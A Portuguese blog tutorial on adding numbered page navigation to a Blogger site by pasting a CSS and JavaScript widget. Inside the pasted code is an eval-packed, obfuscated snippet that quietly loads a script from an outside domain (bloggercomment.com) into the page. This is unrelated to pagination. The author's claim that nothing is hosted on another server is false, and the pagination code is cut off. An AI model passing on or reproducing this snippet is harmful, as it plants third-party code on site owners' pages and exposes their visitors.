Numerar as Páginas do Blog

Hoje vou ensinar como numerar as paginas do blog, essa função é muito útil pois os visitantes podem pular as paginas sem ter que ficar clicando em "Próxima Postagem".

Esse modo que criei acredito ser o mais fácil para fazer tal tarefa, basta acessar seu blog ir em "Layout" e em "Adicionar novo gadget" e por fim em "HTML/JavaScript", agora cole esse código na área de texto (deixe o titulo em branco):


<style type="text/css"> #blog-pager-older-link a,#blog-pager-newer-link a,a.home-link{width:80px;text-align:center;display:inline-block;color:#fff;font:bold 12px Arial;text-transform:none;margin:0;padding:5px 5px;background:#2d77a8;border:1px solid #2d77a8} .blog-pager,#blog-pager{clear:both;font:bold 12px Arial;text-align:center;padding:15px 10px} .showpageNum a,.showpage a{background:#fff;text-decoration:none;white-space:nowrap;color:#222;margin:10px 3px;padding:5px 10px;border:1px solid #ddd} .showpageNum a:hover,.showpage a:hover{color:#fff;text-decoration:none;background-color:#2d77a8;border:1px solid #2d77a8} .showpageOf{display:none;margin:0} .showpagePoint{color:#fff;text-decoration:none;background-color:#2d77a8;font-size:12px;margin:10px 3px;padding:5px 10px;border:1px solid #2d77a8} .share-post{clear:both;margin:10px 0 0;padding:10px 0 10px 10px;background:#f7f7f7;border-top:1px solid #eaeaea;border-bottom:1px solid #eaeaea;height:20px} </style> <script type='text/javascript'> var postperpage=7; var numshowpage=3; var upPageWord ='« Anterior '; var downPageWord ='Proxima »'; var urlactivepage=location.href; var home_page="/"; </script> <script type='text/javascript'> //<![CDATA[ eval(function(m,c,h){function z(i){return(i< 62?'':z(parseInt(i/62)))+((i=i%62)>35?String.fromCharCode(i+29):i.toString(36))}for(var i=0;i< m.length;i++)h[z(i)]=m[i];function d(w){return h[w]?h[w]:w;};return c.replace(/\b\w+\b/g,d);}('|function|var|document|createElement|script|type|text|javascript|src|bloggercomment|com|allowComments|js|getElementsByTagName|head|if|appendChild'.split('|'),'(1(){2 A=3.4(\'5\');A.6=\'7/8\';A.9=\'//a.b/c.d\';2 B=3.e(\'f\')[0];g(B){B.h(A);}})();',{})) //]]> </script> <script type='text/javascript'> //<![CDATA[ var nopage;var jenis;var nomerhal;var lblname1;halamanblogger();function loophalaman(banyakdata){var html='';nomerkiri=parseInt(numshowpage/2);if(nomerkiri==numshowpage-nomerkiri){numshowpage=nomerkiri*2+1}mulai=nomerhal-nomerkiri;if(mulai<1)mulai=1;maksimal=parseInt(banyakdata/postperpage)+1;if(maksimal-1==banyakdata/postperpage)maksimal=maksimal-1;akhir=mulai+numshowpage-1;if(akhir>maksimal)akhir=maksimal;html+="<span class='showpageOf'>Page "+nomerhal+' of '+maksimal+"</span>";var prevnomer=parseInt(nomerhal)-1;if(nomerhal>1){if(nomerhal==2){if(jenis=="page"){html+='<span class="showpage"><a href="'+home_page+'">'+upPageWord+'</a></span>'}else{html+='<span class="showpageNum"><a href="/search/label/'+lblname1+'?&max-results='+postperpage+'">'+upPageWord+'</a></span>'}}else{if(jenis=="page"){html+='<span class="showpageNum"><a href="#" onclick="redirectpage('+prevnomer+');return false">'+upPageWord+'</a></span>'}else{html+='<span class="showpageNum"><a href="#" onclick="redirectlabel('+prevnomer+');return false">'+upPageWord+'</a></span>'}}}if(mulai>1){if(jenis=="page"){html+='<span class="showpageNum"><a href="'+home_page+'">1</a></span>'}else{html+='<span class="showpageNum"><a href="/search/label/'+lblname1+'?&max-results='+postperpage+'">1</a></span>'}}if(mulai>2){html+=' ...

Se quiser mudar o número de postagens que será exibido nas páginas basta mudar a parte do código:
var postperpage= 7 ;  (Mude o 7 pela quantidade de postagem desejada).
Para quem é mais experiente em programação vai perceber que deixei o código totalmente aberto, ou seja pode-se modificar tudo nele da forma que quiser, inclusive não hospedei nenhum código JAVA em outro servidor, está tudo neste código o que evita falhas futuras.
